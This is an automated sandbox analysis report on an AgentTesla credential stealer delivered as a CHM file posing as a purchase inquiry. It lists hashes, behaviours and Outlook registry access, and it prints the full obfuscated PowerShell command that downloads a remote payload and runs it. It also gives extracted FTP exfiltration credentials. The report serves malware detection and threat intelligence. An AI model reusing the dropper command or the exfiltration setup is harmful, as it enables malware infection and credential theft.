agenttesla | 94051fded4b724c89a79985073ecb256af69c26c0e3aff140507184f9436abeb

Analysis

max time kernel
72s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27/10/2022, 12:14

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General

Target

inquiry IN-purchase no.00048075063.chm
Size

13KB
MD5

6f6236aed55a7ce730284128bceb4d47
SHA1

1286c98d5e74865d04394c87dd49ba21fab25e0f
SHA256

6d21db2610c241baca4a885f334f9670978ba5a0a055247ff171fa5157588ff9
SHA512

49d64d41e1f17ba7488e74c58b116653bad749e49b9023eb3b09f70039be1848e93f2cfeee9e828c508d6c7d79775b02f86781a5a571d32ad3f7f03b05ebc888
SSDEEP

96:tmdZnn+YwcqkFm2wCXU0bZGLo2C/XgnLwZYCleVe+IF+kTbTFU553rc+nlq/e8Bx:tmdLwcJXhZDV/gtC8elrTFU513lqx3

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://mgcpakistan.com/c12.txt

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.lemendoza.com
Port:
21
Username:
[email protected]
Password:
boygirl123456

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4844	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
4844	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4844 set thread context of 1504	4844	powershell.exe	86

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4844	powershell.exe
4844	powershell.exe
1504	MSBuild.exe
1504	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeIncreaseQuotaPrivilege	4844	powershell.exe
Token: SeSecurityPrivilege	4844	powershell.exe
Token: SeTakeOwnershipPrivilege	4844	powershell.exe
Token: SeLoadDriverPrivilege	4844	powershell.exe
Token: SeSystemProfilePrivilege	4844	powershell.exe
Token: SeSystemtimePrivilege	4844	powershell.exe
Token: SeProfSingleProcessPrivilege	4844	powershell.exe
Token: SeIncBasePriorityPrivilege	4844	powershell.exe
Token: SeCreatePagefilePrivilege	4844	powershell.exe
Token: SeBackupPrivilege	4844	powershell.exe
Token: SeRestorePrivilege	4844	powershell.exe
Token: SeShutdownPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeSystemEnvironmentPrivilege	4844	powershell.exe
Token: SeRemoteShutdownPrivilege	4844	powershell.exe
Token: SeUndockPrivilege	4844	powershell.exe
Token: SeManageVolumePrivilege	4844	powershell.exe
Token: 33	4844	powershell.exe
Token: 34	4844	powershell.exe
Token: 35	4844	powershell.exe
Token: 36	4844	powershell.exe
Token: SeIncreaseQuotaPrivilege	4844	powershell.exe
Token: SeSecurityPrivilege	4844	powershell.exe
Token: SeTakeOwnershipPrivilege	4844	powershell.exe
Token: SeLoadDriverPrivilege	4844	powershell.exe
Token: SeSystemProfilePrivilege	4844	powershell.exe
Token: SeSystemtimePrivilege	4844	powershell.exe
Token: SeProfSingleProcessPrivilege	4844	powershell.exe
Token: SeIncBasePriorityPrivilege	4844	powershell.exe
Token: SeCreatePagefilePrivilege	4844	powershell.exe
Token: SeBackupPrivilege	4844	powershell.exe
Token: SeRestorePrivilege	4844	powershell.exe
Token: SeShutdownPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeSystemEnvironmentPrivilege	4844	powershell.exe
Token: SeRemoteShutdownPrivilege	4844	powershell.exe
Token: SeUndockPrivilege	4844	powershell.exe
Token: SeManageVolumePrivilege	4844	powershell.exe
Token: 33	4844	powershell.exe
Token: 34	4844	powershell.exe
Token: 35	4844	powershell.exe
Token: 36	4844	powershell.exe
Token: SeDebugPrivilege	1504	MSBuild.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1260	hh.exe
1260	hh.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 4844	1260	hh.exe	82
PID 1260 wrote to memory of 4844	1260	hh.exe	82
PID 4844 wrote to memory of 1504	4844	powershell.exe	86
PID 4844 wrote to memory of 1504	4844	powershell.exe	86
PID 4844 wrote to memory of 1504	4844	powershell.exe	86
PID 4844 wrote to memory of 1504	4844	powershell.exe	86
PID 4844 wrote to memory of 1504	4844	powershell.exe	86
PID 4844 wrote to memory of 1504	4844	powershell.exe	86
PID 4844 wrote to memory of 1504	4844	powershell.exe	86
PID 4844 wrote to memory of 1504	4844	powershell.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" "C:\Users\Admin\AppData\Local\Temp\inquiry IN-purchase no.00048075063.chm"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://mgcpakistan.com/c12.txt')|P
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\1c262bc5-d4f1-4e83-ac7b-81507fc43f85\AgileDotNetRT64.dll

Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/1504-138-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/1504-140-0x0000000005EB0000-0x0000000006454000-memory.dmp

Filesize
5.6MB

Download
memory/1504-142-0x0000000005900000-0x000000000599C000-memory.dmp

Filesize
624KB

Download
memory/1504-143-0x0000000006610000-0x0000000006676000-memory.dmp

Filesize
408KB

Download
memory/1504-144-0x00000000069F0000-0x0000000006A40000-memory.dmp

Filesize
320KB

Download
memory/1504-145-0x0000000006B60000-0x0000000006BF2000-memory.dmp

Filesize
584KB

Download
memory/1504-146-0x0000000006B40000-0x0000000006B4A000-memory.dmp

Filesize
40KB

Download
memory/4844-135-0x00007FF8C91E0000-0x00007FF8C9CA1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-134-0x000001B644670000-0x000001B644692000-memory.dmp

Filesize
136KB

Download
memory/4844-137-0x00007FF8C3470000-0x00007FF8C35BE000-memory.dmp

Filesize
1.3MB

Download
memory/4844-141-0x00007FF8C91E0000-0x00007FF8C9CA1000-memory.dmp

Filesize
10.8MB

Download